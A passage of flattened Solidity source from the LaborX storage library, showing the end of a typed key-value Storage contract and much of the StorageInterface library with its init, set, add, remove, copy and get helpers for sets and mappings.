_key) public view returns (bool) { return crates[_crate].bools[_key]; } function setInt(bytes32 _crate, bytes32 _key, int _value) public onlyAllowed(_crate) { _setInt(_crate, _key, _value); } function _setInt(bytes32 _crate, bytes32 _key, int _value) internal { crates[_crate].ints[_key] = _value; } function getInt(bytes32 _crate, bytes32 _key) public view returns (int) { return crates[_crate].ints[_key]; } function setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) public onlyAllowed(_crate) { _setUInt8(_crate, _key, _value); } function _setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) internal { crates[_crate].uint8s[_key] = _value; } function getUInt8(bytes32 _crate, bytes32 _key) public view returns (uint8) { return crates[_crate].uint8s[_key]; } function setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) public onlyAllowed(_crate) { _setBytes32(_crate, _key, _value); } function _setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) internal { crates[_crate].bytes32s[_key] = _value; } function getBytes32(bytes32 _crate, bytes32 _key) public view returns (bytes32) { return crates[_crate].bytes32s[_key]; } function setAddressUInt8(bytes32 _crate, bytes32 _key, address _value, uint8 _value2) public onlyAllowed(_crate) { _setAddressUInt8(_crate, _key, _value, _value2); } function _setAddressUInt8(bytes32 _crate, bytes32 _key, address _value, uint8 _value2) internal { crates[_crate].addressUInt8s[_key] = AddressUInt8(_value, _value2); } function getAddressUInt8(bytes32 _crate, bytes32 _key) public view returns (address, uint8) { return (crates[_crate].addressUInt8s[_key]._address, crates[_crate].addressUInt8s[_key]._uint8); } function setString(bytes32 _crate, bytes32 _key, string _value) public onlyAllowed(_crate) { _setString(_crate, _key, _value); } function _setString(bytes32 _crate, bytes32 _key, string _value) internal { crates[_crate].strings[_key] = _value; } function getString(bytes32 _crate, bytes32 _key) public view returns (string) { return crates[_crate].strings[_key]; } } // File: @laborx/solidity-storage-lib/contracts/StorageInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; library StorageInterface { struct Config { Storage store; bytes32 crate; } struct UInt { bytes32 id; } struct UInt8 { bytes32 id; } struct Int { bytes32 id; } struct Address { bytes32 id; } struct Bool { bytes32 id; } struct Bytes32 { bytes32 id; } struct String { bytes32 id; } struct Mapping { bytes32 id; } struct StringMapping { String id; } struct UIntBoolMapping { Bool innerMapping; } struct UIntUIntMapping { Mapping innerMapping; } struct UIntBytes32Mapping { Mapping innerMapping; } struct UIntAddressMapping { Mapping innerMapping; } struct UIntEnumMapping { Mapping innerMapping; } struct AddressBoolMapping { Mapping innerMapping; } struct AddressUInt8Mapping { bytes32 id; } struct AddressUIntMapping { Mapping innerMapping; } struct AddressBytes32Mapping { Mapping innerMapping; } struct AddressAddressMapping { Mapping innerMapping; } struct Bytes32UIntMapping { Mapping innerMapping; } struct Bytes32UInt8Mapping { UInt8 innerMapping; } struct Bytes32BoolMapping { Bool innerMapping; } struct Bytes32Bytes32Mapping { Mapping innerMapping; } struct Bytes32AddressMapping { Mapping innerMapping; } struct Bytes32UIntBoolMapping { Bool innerMapping; } struct AddressAddressUInt8Mapping { Mapping innerMapping; } struct AddressAddressUIntMapping { Mapping innerMapping; } struct AddressUIntUIntMapping { Mapping innerMapping; } struct AddressUIntUInt8Mapping { Mapping innerMapping; } struct AddressBytes32Bytes32Mapping { Mapping innerMapping; } struct AddressBytes4BoolMapping { Mapping innerMapping; } struct AddressBytes4Bytes32Mapping { Mapping innerMapping; } struct UIntAddressUIntMapping { Mapping innerMapping; } struct UIntAddressAddressMapping { Mapping innerMapping; } struct UIntAddressBoolMapping { Mapping innerMapping; } struct UIntUIntAddressMapping { Mapping innerMapping; } struct UIntUIntBytes32Mapping { Mapping innerMapping; } struct UIntUIntUIntMapping { Mapping innerMapping; } struct Bytes32UIntUIntMapping { Mapping innerMapping; } struct AddressUIntUIntUIntMapping { Mapping innerMapping; } struct AddressUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct UIntAddressAddressBoolMapping { Bool innerMapping; } struct UIntUIntUIntBytes32Mapping { Mapping innerMapping; } struct Bytes32UIntUIntUIntMapping { Mapping innerMapping; } bytes32 constant SET_IDENTIFIER = "set"; struct Set { UInt count; Mapping indexes; Mapping values; } struct AddressesSet { Set innerSet; } struct CounterSet { Set innerSet; } bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; struct OrderedSet { UInt count; Bytes32 first; Bytes32 last; Mapping nextValues; Mapping previousValues; } struct OrderedUIntSet { OrderedSet innerSet; } struct OrderedAddressesSet { OrderedSet innerSet; } struct Bytes32SetMapping { Set innerMapping; } struct AddressesSetMapping { Bytes32SetMapping innerMapping; } struct UIntSetMapping { Bytes32SetMapping innerMapping; } struct Bytes32OrderedSetMapping { OrderedSet innerMapping; } struct UIntOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } struct AddressOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } // Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert(); } } function init(Config storage self, Storage _store, bytes32 _crate) internal { self.store = _store; self.crate = _crate; } function init(UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(Config storage self, UInt storage item, uint _value) internal { self.store.setUInt(self.crate, item.id, _value); } function set(Config storage self, UInt storage item, bytes32 _salt, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, UInt8 storage item, uint8 _value) internal { self.store.setUInt8(self.crate, item.id, _value); } function set(Config storage self, UInt8 storage item, bytes32 _salt, uint8 _value) internal { self.store.setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Int storage item, int _value) internal { self.store.setInt(self.crate, item.id, _value); } function set(Config storage self, Int storage item, bytes32 _salt, int _value) internal { self.store.setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Address storage item, address _value) internal { self.store.setAddress(self.crate, item.id, _value); } function set(Config storage self, Address storage item, bytes32 _salt, address _value) internal { self.store.setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bool storage item, bool _value) internal { self.store.setBool(self.crate, item.id, _value); } function set(Config storage self, Bool storage item, bytes32 _salt, bool _value) internal { self.store.setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bytes32 storage item, bytes32 _value) internal { self.store.setBytes32(self.crate, item.id, _value); } function set(Config storage self, Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, String storage item, string _value) internal { self.store.setString(self.crate, item.id, _value); } function set(Config storage self, String storage item, bytes32 _salt, string _value) internal { self.store.setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Mapping storage item, uint _key, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { self.store.setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(Config storage self, AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(Config storage self, Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(Config storage self, AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(Config storage self, OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(Config storage self, Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(Config storage self, Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(Config storage self, AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(Config storage self, Set storage item, bytes32 _value) internal { remove(self, item, SET_IDENTIFIER, _value); } function remove(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(Config storage self, AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(Config storage self, OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(Config storage self, Set storage source, Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(Config storage self, AddressesSet storage source, AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(Config storage self, CounterSet storage source, CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(Config storage self, UInt storage item) internal view returns (uint) { return self.store.getUInt(self.crate, item.id); } function get(Config storage self, UInt storage item, bytes32 salt) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, UInt8 storage item) internal view returns (uint8) { return self.store.getUInt8(self.crate, item.id); } function get(Config storage self, UInt8 storage item, bytes32 salt) internal view returns (uint8) { return self.store.getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Int storage item) internal view returns (int) { return self.store.getInt(self.crate, item.id); } function get(Config storage self, Int storage item, bytes32 salt) internal view returns (int) { return self.store.getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Address storage item) internal view returns (address) { return self.store.getAddress(self.crate, item.id); } function get(Config storage self, Address storage item, bytes32 salt) internal view returns (address) { return self.store.getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bool storage item) internal view returns (bool) { return self.store.getBool(self.crate, item.id); } function get(Config storage self, Bool storage item, bytes32 salt) internal view returns (bool) { return self.store.getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bytes32 storage item) internal view returns (bytes32) { return self.store.getBytes32(self.crate, item.id); } function get(Config storage self, Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, String storage item) internal view returns (string) { return self.store.getString(self.crate, item.id); } function get(Config storage self, String storage item, bytes32 salt) internal view returns (string) { return self.store.getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Mapping storage item, uint _key) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(Config storage self, AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return self.store.getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 